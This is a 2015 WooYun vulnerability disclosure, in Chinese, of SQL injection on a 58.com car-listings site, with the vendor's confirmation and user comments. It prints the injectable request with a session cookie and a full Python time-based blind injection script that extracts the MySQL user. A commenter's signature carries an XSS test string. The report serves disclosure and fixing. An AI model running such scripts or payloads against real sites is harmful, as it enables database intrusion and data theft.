当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126775

漏洞标题:58同城某站点MySQL注射(附脚本)

相关厂商:58同城

漏洞作者: lijiejie

提交时间:2015-07-14 17:47

修复时间:2015-08-30 12:18

公开时间:2015-08-30 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-14: 细节已通知厂商并且等待厂商处理中
2015-07-16: 厂商已经确认,细节仅向厂商公开
2015-07-26: 细节向核心白帽子及相关领域专家公开
2015-08-05: 细节向普通白帽子公开
2015-08-15: 细节向实习白帽子公开
2015-08-30: 细节向公众公开

简要描述:

58同城某站点MySQL注射

详细说明:

注入点:

GET /323224/order.html?prdid=*&sellerid=323224&source_detail=0000000000&type=3 HTTP/1.1
User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)
X-Requested-With: XMLHttpRequest
Referer: http://che.58.com
Cookie: city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php
Host: che.58.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


另一处注入点:

/index.php?r=trainingOrder/save
多个参数可注入

漏洞证明:

一sleep就挂了,用benchmark没问题。
user()长度24,得到:

[Done] MySQL user is carproducror@10.9.17.17l


58.mysqli.png


#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Cookie': 'city=sh; PHPSESSID=abc90271f5786aac9cee29edb06929dc; cf_ref=http%3A%2F%2Fche.58.com%2Fgmac%2Fiframe_ApplyIntention_2013.php',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
'Referer': 'http://che.58.com'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
for payload in payloads:
s = '/323224/order.html?prdid=if(ascii(mid(user()from(%s)for(1)))=%s,benchmark(2000000,md5(1)),0)&sellerid=323224&source_detail=0000000000&type=3' % (i, ord(payload))
conn = httplib.HTTPConnection('che.58.com', timeout=30)
conn.request(method='GET',url=s, headers=headers)
t = time.time()
conn.getresponse().read()
conn.close()
print '.',
if time.time() - t > 1.5:
user += payload
print '\n[in progress]', user,
time.sleep(1.0)
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-16 12:17

厂商回复:

确认漏洞存在,辛苦了!URL库抓取的URL不够全,导致扫描器也没发现这个漏洞。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-14 17:47 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

    lijiejie

  2. 2015-07-14 17:48 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    lijiejie

  3. 2015-07-14 17:49 | crown丶prince ( 实习白帽子 | Rank:63 漏洞数:19 | 我用双手成就你的梦想)

    lijiejie

  4. 2015-07-14 17:52 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    我放佛看到了司马又要加10K薪资了,从此成为高富帅。

  5. 2015-07-14 17:55 | 0x 80 ( 普通白帽子 | Rank:1301 漏洞数:398 | 某安全公司招聘系统运维、渗透测试、安全运...)

    这个好

  6. 2015-07-14 18:00 | 北丐 ( 普通白帽子 | Rank:104 漏洞数:20 | )

    司马又加10K

  7. 2015-07-14 18:12 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)

    司马又加10K

  8. 2015-07-14 19:45 | 百变屌丝 ( 实习白帽子 | Rank:59 漏洞数:7 | 屌丝一个而且是百变的,临时工)

    lijiejie

  9. 2015-07-14 20:25 | 泪雨无魂 ( 实习白帽子 | Rank:94 漏洞数:32 )

    lijiejie

  10. 2015-07-14 21:31 | 苏州同程旅游网络科技有限公司(乌云厂商)

    我真的觉得你们适合用这个https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE-wallfilter

  11. 2015-07-15 07:50 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    @xsser 帮审核下这个吧-_-|| http://www.wooyun.org/bugs/wooyun-2015-0126144/trace/0aabbdc26fe179828e261e6e9279a396

  12. 2015-07-15 09:51 | 北丐 ( 普通白帽子 | Rank:104 漏洞数:20 | )

    @xsser 剑神帮审核下这个吧 →_→ http://www.wooyun.org/bugs/wooyun-2015-0126483/trace/5f28c2403fbe36c2042563e1a0cbe2c8

  13. 2015-07-16 12:46 | 路飞 ( 普通白帽子 | Rank:112 漏洞数:21 | 上帝恩赐,命运天定。希望之光,普照我身。...)

    @xsser 剑圣帮核审下这个吧||=。= (这洞我都忘记了)http://www.wooyun.org/bugs/wooyun-2015-0115297/trace/def7a27123dc2e121ad854c1bcc3893dhttp://www.wooyun.org/bugs/wooyun-2015-0115235/trace/83a4bcd192f804480bb762088fe48b32

  14. 2015-07-16 12:54 | wy007 ( 实习白帽子 | Rank:95 漏洞数:10 | 其实我是一名卧底...)

    司马是哪位高人?

  15. 2015-07-29 14:50 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2738 漏洞数:547 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    @lijiejie 原来有内幕 我发现了~